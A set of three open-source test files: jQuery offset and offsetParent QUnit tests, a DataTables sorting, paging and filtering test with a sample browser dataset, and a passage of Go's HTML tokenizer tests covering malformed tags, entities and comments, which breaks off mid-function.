testIframe("offset/body", "body", function( $ ) { expect(4); equal( $("body").offset().top, 1, "jQuery('#body').offset().top" ); equal( $("body").offset().left, 1, "jQuery('#body').offset().left" ); equal( $("#firstElement").position().left, 5, "$('#firstElement').position().left" ); equal( $("#firstElement").position().top, 5, "$('#firstElement').position().top" ); }); test("chaining", function() { expect(3); var coords = { "top": 1, "left": 1 }; equal( jQuery("#absolute-1").offset(coords).selector, "#absolute-1", "offset(coords) returns jQuery object" ); equal( jQuery("#non-existent").offset(coords).selector, "#non-existent", "offset(coords) with empty jQuery set returns jQuery object" ); equal( jQuery("#absolute-1").offset(undefined).selector, "#absolute-1", "offset(undefined) returns jQuery object (#5571)" ); }); test("offsetParent", function(){ expect(13); var body, header, div, area; body = jQuery("body").offsetParent(); equal( body.length, 1, "Only one offsetParent found." ); equal( body[0], document.documentElement, "The html element is the offsetParent of the body." ); header = jQuery("#qunit").offsetParent(); equal( header.length, 1, "Only one offsetParent found." ); equal( header[0], document.documentElement, "The html element is the offsetParent of #qunit." ); div = jQuery("#nothiddendivchild").offsetParent(); equal( div.length, 1, "Only one offsetParent found." ); equal( div[0], document.getElementById("qunit-fixture"), "The #qunit-fixture is the offsetParent of #nothiddendivchild." ); jQuery("#nothiddendiv").css("position", "relative"); div = jQuery("#nothiddendivchild").offsetParent(); equal( div.length, 1, "Only one offsetParent found." ); equal( div[0], jQuery("#nothiddendiv")[0], "The div is the offsetParent." ); div = jQuery("body, #nothiddendivchild").offsetParent(); equal( div.length, 2, "Two offsetParent found." ); equal( div[0], document.documentElement, "The html element is the offsetParent of the body." ); equal( div[1], jQuery("#nothiddendiv")[0], "The div is the offsetParent." ); area = jQuery("#imgmap area").offsetParent(); equal( area[0], document.documentElement, "The html element is the offsetParent of the body." ); div = jQuery("<div>").css({ "position": "absolute" }).appendTo("body"); equal( div.offsetParent()[0], document.documentElement, "Absolutely positioned div returns html as offset parent, see #12139" ); div.remove(); }); test("fractions (see #7730 and #7885)", function() { expect(2); jQuery("body").append("<div id='fractions'/>"); var result, expected = { "top": 1000, "left": 1000 }, div = jQuery("#fractions"); div.css({ "position": "absolute", "left": "1000.7432222px", "top": "1000.532325px", "width": 100, "height": 100 }); div.offset(expected); result = div.offset(); equal( result.top, expected.top, "Check top" ); equal( result.left, expected.left, "Check left" ); div.remove(); }); })();
{ "pile_set_name": "Github" }
// DATA_TEMPLATE: empty_table oTest.fnStart( "Sanity checks for DataTables with data from JS - Object data source" ); oTest.fnTest( "jQuery.dataTable function", null, function () { return typeof jQuery().dataTable == "function"; } ); oTest.fnTest( "jQuery.dataTableSettings storage array", null, function () { return typeof jQuery().dataTableSettings == "object"; } ); oTest.fnTest( "jQuery.dataTableExt plugin object", null, function () { return typeof jQuery().dataTableExt == "object"; } ); $(document).ready( function () { var oInit = { "aoColumns": [ { "mData": "engine" }, { "mData": "browser" }, { "mData": "platform" }, { "mData": "version" }, { "mData": "grade" } ], "aaData": [ { "engine": "Trident", "browser": "Internet Explorer 4.0", "platform": "Win 95+", "version": "4", "grade": "X" }, { "engine": "Trident", "browser": "Internet Explorer 5.0", "platform": "Win 95+", "version": "5", "grade": "C" }, { "engine": "Trident", "browser": "Internet Explorer 5.5", "platform": "Win 95+", "version": "5.5", "grade": "A" }, { "engine": "Trident", "browser": "Internet Explorer 6", "platform": "Win 98+", "version": "6", "grade": "A" }, { "engine": "Trident", "browser": "Internet Explorer 7", "platform": "Win XP SP2+", "version": "7", "grade": "A" }, { "engine": "Trident", "browser": "AOL browser (AOL desktop)", "platform": "Win XP", "version": "6", "grade": "A" }, { "engine": "Gecko", "browser": "Firefox 1.0", "platform": "Win 98+ / OSX.2+", "version": "1.7", "grade": "A" }, { "engine": "Gecko", "browser": "Firefox 1.5", "platform": "Win 98+ / OSX.2+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Firefox 2.0", "platform": "Win 98+ / OSX.2+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Firefox 3.0", "platform": "Win 2k+ / OSX.3+", "version": "1.9", "grade": "A" }, { "engine": "Gecko", "browser": "Camino 1.0", "platform": "OSX.2+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Camino 1.5", "platform": "OSX.3+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Netscape 7.2", "platform": "Win 95+ / Mac OS 8.6-9.2", "version": "1.7", "grade": "A" }, { "engine": "Gecko", "browser": "Netscape Browser 8", "platform": "Win 98SE+", "version": "1.7", "grade": "A" }, { "engine": "Gecko", "browser": "Netscape Navigator 9", "platform": "Win 98+ / OSX.2+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.0", "platform": "Win 95+ / OSX.1+", "version": "1", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.1", "platform": "Win 95+ / OSX.1+", "version": "1.1", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.2", "platform": "Win 95+ / OSX.1+", "version": "1.2", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.3", "platform": "Win 95+ / OSX.1+", "version": "1.3", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.4", "platform": "Win 95+ / OSX.1+", "version": "1.4", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.5", "platform": "Win 95+ / OSX.1+", "version": "1.5", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.6", "platform": "Win 95+ / OSX.1+", "version": "1.6", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.7", "platform": "Win 98+ / OSX.1+", "version": "1.7", "grade": "A" }, { "engine": "Gecko", "browser": "Mozilla 1.8", "platform": "Win 98+ / OSX.1+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Seamonkey 1.1", "platform": "Win 98+ / OSX.2+", "version": "1.8", "grade": "A" }, { "engine": "Gecko", "browser": "Epiphany 2.20", "platform": "Gnome", "version": "1.8", "grade": "A" }, { "engine": "Webkit", "browser": "Safari 1.2", "platform": "OSX.3", "version": "125.5", "grade": "A" }, { "engine": "Webkit", "browser": "Safari 1.3", "platform": "OSX.3", "version": "312.8", "grade": "A" }, { "engine": "Webkit", "browser": "Safari 2.0", "platform": "OSX.4+", "version": "419.3", "grade": "A" }, { "engine": "Webkit", "browser": "Safari 3.0", "platform": "OSX.4+", "version": "522.1", "grade": "A" }, { "engine": "Webkit", "browser": "OmniWeb 5.5", "platform": "OSX.4+", "version": "420", "grade": "A" }, { "engine": "Webkit", "browser": "iPod Touch / iPhone", "platform": "iPod", "version": "420.1", "grade": "A" }, { "engine": "Webkit", "browser": "S60", "platform": "S60", "version": "413", "grade": "A" }, { "engine": "Presto", "browser": "Opera 7.0", "platform": "Win 95+ / OSX.1+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 7.5", "platform": "Win 95+ / OSX.2+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 8.0", "platform": "Win 95+ / OSX.2+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 8.5", "platform": "Win 95+ / OSX.2+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 9.0", "platform": "Win 95+ / OSX.3+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 9.2", "platform": "Win 88+ / OSX.3+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera 9.5", "platform": "Win 88+ / OSX.3+", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Opera for Wii", "platform": "Wii", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Nokia N800", "platform": "N800", "version": "-", "grade": "A" }, { "engine": "Presto", "browser": "Nintendo DS browser", "platform": "Nintendo DS", "version": "8.5", "grade": "C/A<sup>1</sup>" }, { "engine": "KHTML", "browser": "Konqureror 3.1", "platform": "KDE 3.1", "version": "3.1", "grade": "C" }, { "engine": "KHTML", "browser": "Konqureror 3.3", "platform": "KDE 3.3", "version": "3.3", "grade": "A" }, { "engine": "KHTML", "browser": "Konqureror 3.5", "platform": "KDE 3.5", "version": "3.5", "grade": "A" }, { "engine": "Tasman", "browser": "Internet Explorer 4.5", "platform": "Mac OS 8-9", "version": "-", "grade": "X" }, { "engine": "Tasman", "browser": "Internet Explorer 5.1", "platform": "Mac OS 7.6-9", "version": "1", "grade": "C" }, { "engine": "Tasman", "browser": "Internet Explorer 5.2", "platform": "Mac OS 8-X", "version": "1", "grade": "C" }, { "engine": "Misc", "browser": "NetFront 3.1", "platform": "Embedded devices", "version": "-", "grade": "C" }, { "engine": "Misc", "browser": "NetFront 3.4", "platform": "Embedded devices", "version": "-", "grade": "A" }, { "engine": "Misc", "browser": "Dillo 0.8", "platform": "Embedded devices", "version": "-", "grade": "X" }, { "engine": "Misc", "browser": "Links", "platform": "Text only", "version": "-", "grade": "X" }, { "engine": "Misc", "browser": "Lynx", "platform": "Text only", "version": "-", "grade": "X" }, { "engine": "Misc", "browser": "IE Mobile", "platform": "Windows Mobile 6", "version": "-", "grade": "C" }, { "engine": "Misc", "browser": "PSP browser", "platform": "PSP", "version": "-", "grade": "C" }, { "engine": "Other browsers", "browser": "All others", "platform": "-", "version": "-", "grade": "U" } ] }; $('#example').dataTable( oInit ); /* Basic checks */ oTest.fnWaitTest( "Length changing div exists", null, function () { return document.getElementById('example_length') != null; } ); oTest.fnTest( "Filtering div exists", null, function () { return document.getElementById('example_filter') != null; } ); oTest.fnTest( "Information div exists", null, function () { return document.getElementById('example_info') != null; } ); oTest.fnTest( "Pagination div exists", null, function () { return document.getElementById('example_paginate') != null; } ); oTest.fnTest( "Processing div is off by default", null, function () { return document.getElementById('example_processing') == null; } ); oTest.fnWaitTest( "10 rows shown on the first page", null, function () { return $('#example tbody tr').length == 10; } ); oTest.fnTest( "Initial sort occured", null, function () { return $('#example tbody td:eq(0)').html() == "Gecko"; } ); /* Need to use the WaitTest for sorting due to the setTimeout datatables uses */ oTest.fnTest( "Sorting (first click) on second column", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody td:eq(1)').html() == "All others"; } ); oTest.fnTest( "Sorting (second click) on second column", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody td:eq(1)').html() == "Seamonkey 1.1"; } ); oTest.fnTest( "Sorting (third click) on second column", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody td:eq(1)').html() == "All others"; } ); oTest.fnTest( "Sorting (first click) on numeric column", function () { $('#example thead th:eq(3)').click(); }, function () { return $('#example tbody td:eq(3)').html() == "-"; } ); oTest.fnTest( "Sorting (second click) on numeric column", function () { $('#example thead th:eq(3)').click(); }, function () { return $('#example tbody td:eq(3)').html() == "522.1"; } ); oTest.fnTest( "Sorting multi-column (first click)", function () { $('#example thead th:eq(0)').click(); oDispacher.click( $('#example thead th:eq(1)')[0], { 'shift': true } ); }, function () { var b = $('#example tbody td:eq(0)').html() == "Gecko" && $('#example tbody td:eq(1)').html() == "Camino 1.0"; return b; } ); oTest.fnTest( "Sorting multi-column - sorting second column only", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody td:eq(1)').html() == "All others"; } ); /* Basic paging */ oTest.fnTest( "Paging to second page", function () { $('#example_next').click(); }, function () { return $('#example tbody td:eq(1)').html() == "IE Mobile"; } ); oTest.fnTest( "Paging to first page", function () { $('#example_previous').click(); }, function () { return $('#example tbody td:eq(1)').html() == "All others"; } ); oTest.fnTest( "Attempting to page back beyond the first page", function () { $('#example_previous').click(); }, function () { return $('#example tbody td:eq(1)').html() == "All others"; } ); /* Changing length */ oTest.fnTest( "Changing table length to 25 records", function () { $("select[name=example_length]").val('25').change(); }, function () { return $('#example tbody tr').length == 25; } ); oTest.fnTest( "Changing table length to 50 records", function () { $("select[name=example_length]").val('50').change(); }, function () { return $('#example tbody tr').length == 50; } ); oTest.fnTest( "Changing table length to 100 records", function () { $("select[name=example_length]").val('100').change(); }, function () { return $('#example tbody tr').length == 57; } ); oTest.fnTest( "Changing table length to 10 records", function () { $("select[name=example_length]").val('10').change(); }, function () { return $('#example tbody tr').length == 10; } ); /* * Information element */ oTest.fnTest( "Information on zero config", null, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 57 entries"; } ); oTest.fnTest( "Information on second page", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 11 to 20 of 57 entries"; } ); oTest.fnTest( "Information on third page", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 21 to 30 of 57 entries"; } ); oTest.fnTest( "Information on last page", function () { $('#example_next').click(); $('#example_next').click(); $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 51 to 57 of 57 entries"; } ); oTest.fnTest( "Information back on first page", function () { $('#example_previous').click(); $('#example_previous').click(); $('#example_previous').click(); $('#example_previous').click(); $('#example_previous').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 57 entries"; } ); oTest.fnTest( "Information with 25 records", function () { $("select[name=example_length]").val('25').change(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 25 of 57 entries"; } ); oTest.fnTest( "Information with 25 records - second page", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 26 to 50 of 57 entries"; } ); oTest.fnTest( "Information with 100 records - first page", function () { $('#example_previous').click(); $("select[name=example_length]").val('100').change(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 57 of 57 entries"; } ); oTest.fnTest( "Information back to 10 records", function () { $('#example_previous').click(); $("select[name=example_length]").val('10').change(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 57 entries"; } ); oTest.fnTest( "Information with filter 'Win'", function () { $('#example_filter input').val("Win").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter 'Win' second page", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 11 to 20 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter 'Win' last page", function () { $('#example_next').click(); $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 31 to 31 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter 'Win' back to first page", function () { $('#example_previous').click(); $('#example_previous').click(); $('#example_previous').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter 'Win' second page - second time", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 11 to 20 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter increased to 'Win 98'", function () { $('#example_filter input').val("Win 98").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 9 of 9 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter decreased to 'Win'", function () { $('#example_filter input').val("Win").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter 'Win' second page - third time", function () { $('#example_next').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 11 to 20 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Information with filter removed", function () { $('#example_filter input').val("").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 57 entries"; } ); /* * Filtering */ oTest.fnWaitTest( "Filter 'W' - rows", function () { /* Reset the table such that the old sorting doesn't mess things up */ oSession.fnRestore(); $('#example').dataTable( oInit ); $('#example_filter input').val("W").keyup(); }, function () { return $('#example tbody tr:eq(0) td:eq(0)').html() == "Gecko"; } ); oTest.fnTest( "Filter 'W' - info", null, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 42 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter 'Wi'", function () { $('#example_filter input').val("Wi").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 32 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter 'Win'", function () { $('#example_filter input').val("Win").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter 'Win' - sorting column 1", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody tr:eq(0) td:eq(1)').html() == "AOL browser (AOL desktop)"; } ); oTest.fnTest( "Filter 'Win' - sorting column 1 info", null, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 31 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter 'Win' - sorting column 1 reverse", function () { $('#example thead th:eq(1)').click(); }, function () { return $('#example tbody tr:eq(0) td:eq(1)').html() == "Seamonkey 1.1"; } ); oTest.fnTest( "Filter 'Win XP' - maintaing reverse sorting col 1", function () { $('#example_filter input').val("Win XP").keyup(); }, function () { return $('#example tbody tr:eq(0) td:eq(1)').html() == "Internet Explorer 7"; } ); oTest.fnTest( "Filter 'Win XP' - sorting col 3", function () { $('#example thead th:eq(3)').click(); }, function () { return $('#example tbody tr:eq(0) td:eq(3)').html() == "4"; } ); oTest.fnTest( "Filter 'Win XP' - sorting col 3 - reversed", function () { $('#example thead th:eq(3)').click(); }, function () { return $('#example tbody tr:eq(0) td:eq(3)').html() == "7"; } ); oTest.fnTest( "Filter 'Win' - sorting col 3 - reversed info", null, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 6 of 6 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter 'nothinghere'", function () { $('#example_filter input').val("nothinghere").keyup(); }, function () { return $('#example tbody tr:eq(0) td:eq(0)').html() == "No matching records found"; } ); oTest.fnTest( "Filter 'nothinghere' - info", null, function () { return document.getElementById('example_info').innerHTML == "Showing 0 to 0 of 0 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Filter back to blank and 1st column sorting", function () { $('#example_filter input').val("").keyup(); $('#example thead th:eq(0)').click(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 57 entries"; } ); oTest.fnTest( "Prefixing a filter entry", function () { $('#example_filter input').val("Win").keyup(); $('#example_filter input').val("GeckoWin").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 0 to 0 of 0 entries (filtered from 57 total entries)"; } ); oTest.fnTest( "Prefixing a filter entry with space", function () { $('#example_filter input').val("Gecko Win").keyup(); }, function () { return document.getElementById('example_info').innerHTML == "Showing 1 to 10 of 17 entries (filtered from 57 total entries)"; } ); oTest.fnComplete(); } );
{ "pile_set_name": "Github" }
// Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package html import ( "bytes" "io" "io/ioutil" "reflect" "runtime" "strings" "testing" ) type tokenTest struct { // A short description of the test case. desc string // The HTML to parse. html string // The string representations of the expected tokens, joined by '$'. golden string } var tokenTests = []tokenTest{ { "empty", "", "", }, // A single text node. The tokenizer should not break text nodes on whitespace, // nor should it normalize whitespace within a text node. { "text", "foo bar", "foo bar", }, // An entity. { "entity", "one &lt; two", "one &lt; two", }, // A start, self-closing and end tag. The tokenizer does not care if the start // and end tokens don't match; that is the job of the parser. { "tags", "<a>b<c/>d</e>", "<a>$b$<c/>$d$</e>", }, // Angle brackets that aren't a tag. { "not a tag #0", "<", "&lt;", }, { "not a tag #1", "</", "&lt;/", }, { "not a tag #2", "</>", "<!---->", }, { "not a tag #3", "a</>b", "a$<!---->$b", }, { "not a tag #4", "</ >", "<!-- -->", }, { "not a tag #5", "</.", "<!--.-->", }, { "not a tag #6", "</.>", "<!--.-->", }, { "not a tag #7", "a < b", "a &lt; b", }, { "not a tag #8", "<.>", "&lt;.&gt;", }, { "not a tag #9", "a<<<b>>>c", "a&lt;&lt;$<b>$&gt;&gt;c", }, { "not a tag #10", "if x<0 and y < 0 then x*y>0", "if x&lt;0 and y &lt; 0 then x*y&gt;0", }, { "not a tag #11", "<<p>", "&lt;$<p>", }, // EOF in a tag name. { "tag name eof #0", "<a", "", }, { "tag name eof #1", "<a ", "", }, { "tag name eof #2", "a<b", "a", }, { "tag name eof #3", "<a><b", "<a>", }, { "tag name eof #4", `<a x`, ``, }, // Some malformed tags that are missing a '>'. { "malformed tag #0", `<p</p>`, `<p< p="">`, }, { "malformed tag #1", `<p </p>`, `<p <="" p="">`, }, { "malformed tag #2", `<p id`, ``, }, { "malformed tag #3", `<p id=`, ``, }, { "malformed tag #4", `<p id=>`, `<p id="">`, }, { "malformed tag #5", `<p id=0`, ``, }, { "malformed tag #6", `<p id=0</p>`, `<p id="0&lt;/p">`, }, { "malformed tag #7", `<p id="0</p>`, ``, }, { "malformed tag #8", `<p id="0"</p>`, `<p id="0" <="" p="">`, }, { "malformed tag #9", `<p></p id`, `<p>`, }, // Raw text and RCDATA. { "basic raw text", "<script><a></b></script>", "<script>$&lt;a&gt;&lt;/b&gt;$</script>", }, { "unfinished script end tag", "<SCRIPT>a</SCR", "<script>$a&lt;/SCR", }, { "broken script end tag", "<SCRIPT>a</SCR ipt>", "<script>$a&lt;/SCR ipt&gt;", }, { "EOF in script end tag", "<SCRIPT>a</SCRipt", "<script>$a&lt;/SCRipt", }, { "scriptx end tag", "<SCRIPT>a</SCRiptx", "<script>$a&lt;/SCRiptx", }, { "' ' completes script end tag", "<SCRIPT>a</SCRipt ", "<script>$a", }, { "'>' completes script end tag", "<SCRIPT>a</SCRipt>", "<script>$a$</script>", }, { "self-closing script end tag", "<SCRIPT>a</SCRipt/>", "<script>$a$</script>", }, { "nested script tag", "<SCRIPT>a</SCRipt<script>", "<script>$a&lt;/SCRipt&lt;script&gt;", }, { "script end tag after unfinished", "<SCRIPT>a</SCRipt</script>", "<script>$a&lt;/SCRipt$</script>", }, { "script/style mismatched tags", "<script>a</style>", "<script>$a&lt;/style&gt;", }, { "style element with entity", "<style>&apos;", "<style>$&amp;apos;", }, { "textarea with tag", "<textarea><div></textarea>", "<textarea>$&lt;div&gt;$</textarea>", }, { "title with tag and entity", "<title><b>K&amp;R C</b></title>", "<title>$&lt;b&gt;K&amp;R C&lt;/b&gt;$</title>", }, // DOCTYPE tests. { "Proper DOCTYPE", "<!DOCTYPE html>", "<!DOCTYPE html>", }, { "DOCTYPE with no space", "<!doctypehtml>", "<!DOCTYPE html>", }, { "DOCTYPE with two spaces", "<!doctype html>", "<!DOCTYPE html>", }, { "looks like DOCTYPE but isn't", "<!DOCUMENT html>", "<!--DOCUMENT html-->", }, { "DOCTYPE at EOF", "<!DOCtype", "<!DOCTYPE >", }, // XML processing instructions. { "XML processing instruction", "<?xml?>", "<!--?xml?-->", }, // Comments. { "comment0", "abc<b><!-- skipme --></b>def", "abc$<b>$<!-- skipme -->$</b>$def", }, { "comment1", "a<!-->z", "a$<!---->$z", }, { "comment2", "a<!--->z", "a$<!---->$z", }, { "comment3", "a<!--x>-->z", "a$<!--x>-->$z", }, { "comment4", "a<!--x->-->z", "a$<!--x->-->$z", }, { "comment5", "a<!>z", "a$<!---->$z", }, { "comment6", "a<!->z", "a$<!----->$z", }, { "comment7", "a<!---<>z", "a$<!---<>z-->", }, { "comment8", "a<!--z", "a$<!--z-->", }, { "comment9", "a<!--z-", "a$<!--z-->", }, { "comment10", "a<!--z--", "a$<!--z-->", }, { "comment11", "a<!--z---", "a$<!--z--->", }, { "comment12", "a<!--z----", "a$<!--z---->", }, { "comment13", "a<!--x--!>z", "a$<!--x-->$z", }, // An attribute with a backslash. { "backslash", `<p id="a\"b">`, `<p id="a\" b"="">`, }, // Entities, tag name and attribute key lower-casing, and whitespace // normalization within a tag. { "tricky", "<p \t\n iD=\"a&quot;B\" foo=\"bar\"><EM>te&lt;&amp;;xt</em></p>", `<p id="a&#34;B" foo="bar">$<em>$te&lt;&amp;;xt$</em>$</p>`, }, // A nonexistent entity. Tokenizing and converting back to a string should // escape the "&" to become "&amp;". { "noSuchEntity", `<a b="c&noSuchEntity;d">&lt;&alsoDoesntExist;&`, `<a b="c&amp;noSuchEntity;d">$&lt;&amp;alsoDoesntExist;&amp;`, }, { "entity without semicolon", `&notit;&notin;<a b="q=z&amp=5&notice=hello&not;=world">`, `¬it;∉$<a b="q=z&amp;amp=5&amp;notice=hello¬=world">`, }, { "entity with digits", "&frac12;", "½", }, // Attribute tests: // http://dev.w3.org/html5/pf-summary/Overview.html#attributes { "Empty attribute", `<input disabled FOO>`, `<input disabled="" foo="">`, }, { "Empty attribute, whitespace", `<input disabled FOO >`, `<input disabled="" foo="">`, }, { "Unquoted attribute value", `<input value=yes FOO=BAR>`, `<input value="yes" foo="BAR">`, }, { "Unquoted attribute value, spaces", `<input value = yes FOO = BAR>`, `<input value="yes" foo="BAR">`, }, { "Unquoted attribute value, trailing space", `<input value=yes FOO=BAR >`, `<input value="yes" foo="BAR">`, }, { "Single-quoted attribute value", `<input value='yes' FOO='BAR'>`, `<input value="yes" foo="BAR">`, }, { "Single-quoted attribute value, trailing space", `<input value='yes' FOO='BAR' >`, `<input value="yes" foo="BAR">`, }, { "Double-quoted attribute value", `<input value="I'm an attribute" FOO="BAR">`, `<input value="I&#39;m an attribute" foo="BAR">`, }, { "Attribute name characters", `<meta http-equiv="content-type">`, `<meta http-equiv="content-type">`, }, { "Mixed attributes", `a<P V="0 1" w='2' X=3 y>z`, `a$<p v="0 1" w="2" x="3" y="">$z`, }, { "Attributes with a solitary single quote", `<p id=can't><p id=won't>`, `<p id="can&#39;t">$<p id="won&#39;t">`, }, } func TestTokenizer(t *testing.T) { loop: for _, tt := range tokenTests { z := NewTokenizer(strings.NewReader(tt.html)) if tt.golden != "" { for i, s := range strings.Split(tt.golden, "$") { if z.Next() == ErrorToken { t.Errorf("%s token %d: want %q got error %v", tt.desc, i, s, z.Err()) continue loop } actual := z.Token().String() if s != actual { t.Errorf("%s token %d: want %q got %q", tt.desc, i, s, actual) continue loop } } } z.Next() if z.Err() != io.EOF { t.Errorf("%s: want EOF got %q", tt.desc, z.Err()) } } } func TestMaxBuffer(t *testing.T) { // Exceeding the maximum buffer size generates ErrBufferExceeded. z := NewTokenizer(strings.NewReader("<" + strings.Repeat("t", 10))) z.SetMaxBuf(5) tt := z.Next() if got, want := tt, ErrorToken; got != want { t.Fatalf("token type: got: %v want: %v", got, want) } if got, want := z.Err(), ErrBufferExceeded; got != want { t.Errorf("error type: got: %v want: %v", got, want) } if got, want := string(z.Raw()), "<tttt"; got != want { t.Fatalf("buffered before overflow: got: %q want: %q", got, want) } } func TestMaxBufferReconstruction(t *testing.T) { // Exceeding the maximum buffer size at any point while tokenizing permits // reconstructing the original input. tests: for _, test := range tokenTests { for maxBuf := 1; ; maxBuf++ { r := strings.NewReader(test.html) z := NewTokenizer(r) z.SetMaxBuf(maxBuf) var tokenized bytes.Buffer for { tt := z.Next() tokenized.Write(z.Raw()) if tt == ErrorToken { if err := z.Err(); err != io.EOF && err != ErrBufferExceeded { t.Errorf("%s: unexpected error: %v", test.desc, err) } break } } // Anything tokenized along with untokenized input or data left in the reader. assembled, err := ioutil.ReadAll(io.MultiReader(&tokenized, bytes.NewReader(z.Buffered()), r)) if err != nil { t.Errorf("%s: ReadAll: %v", test.desc, err) continue tests } if got, want := string(assembled), test.html; got != want { t.Errorf("%s: reassembled html:\n got: %q\nwant: %q", test.desc, got, want) continue tests } // EOF indicates that we completed tokenization and hence found the max // maxBuf that generates ErrBufferExceeded, so continue to the next test. if z.Err() == io.EOF { break } } // buffer sizes } // tests } func TestPassthrough(t *testing.T) { // Accumulating the raw output for each parse event should reconstruct the // original input. for _, test := range tokenTests { z := NewTokenizer(strings.NewReader(test.html)) var parsed bytes.Buffer for { tt := z.Next() parsed.Write(z.Raw()) if tt == ErrorToken { break } } if got, want := parsed.String(), test.html; got != want { t.Errorf("%s: parsed output:\n got: %q\nwant: %q", test.desc, got, want) } } } func TestBufAPI(t *testing.T) { s := "0<a>1</a>2<b>3<a>4<a>5</a>6</b>7</a>8<a/>9" z := NewTokenizer(bytes.NewBufferString(s)) var result bytes.Buffer depth := 0 loop: for { tt := z.Next() switch tt { case ErrorToken: if z.Err() != io.EOF { t.Error(z.Err()) } break loop case TextToken: if depth > 0 { result.Write(z.Text()) } case StartTagToken, EndTagToken: tn, _ := z.TagName() if len(tn) == 1 && tn[0] == 'a' { if tt == StartTagToken { depth++ } else { depth-- } } } } u := "14567" v := string(result.Bytes()) if u != v { t.Errorf("TestBufAPI: want %q got %q", u, v) } } func TestConvertNewlines(t *testing.T) { testCases := map[string]string{ "Mac\rDOS\r\nUnix\n": "Mac\nDOS\nUnix\n", "Unix\nMac\rDOS\r\n": "Unix\nMac\nDOS\n", "DOS\r\nDOS\r\nDOS\r\n": "DOS\nDOS\nDOS\n", "": "", "\n": "\n", "\n\r": "\n\n", "\r": "\n", "\r\n": "\n", "\r\n\n": "\n\n", "\r\n\r": "\n\n", "\r\n\r\n": "\n\n", "\r\r": "\n\n", "\r\r\n": "\n\n", "\r\r\n\n": "\n\n\n", "\r\r\r\n": "\n\n\n", "\r \n": "\n \n", "xyz": "xyz", } for in, want := range testCases { if got := string(convertNewlines([]byte(in))); got != want { t.Errorf("input %q: got %q, want %q", in, got, want) } } } func TestReaderEdgeCases(t *testing.T) { const s = "<p>An io.Reader can return (0, nil) or (n, io.EOF).</p>" testCases := []io.Reader{ &zeroOneByteReader{s: s}, &eofStringsReader{s: s}, &stuckReader{}, } for i, tc := range testCases { got := []TokenType{} z := NewTokenizer(tc) for { tt := z.Next() if tt == ErrorToken { break } got = append(got, tt) } if err := z.Err(); err != nil && err != io.EOF { if err != io.ErrNoProgress { t.Errorf("i=%d: %v", i, err) } continue } want := 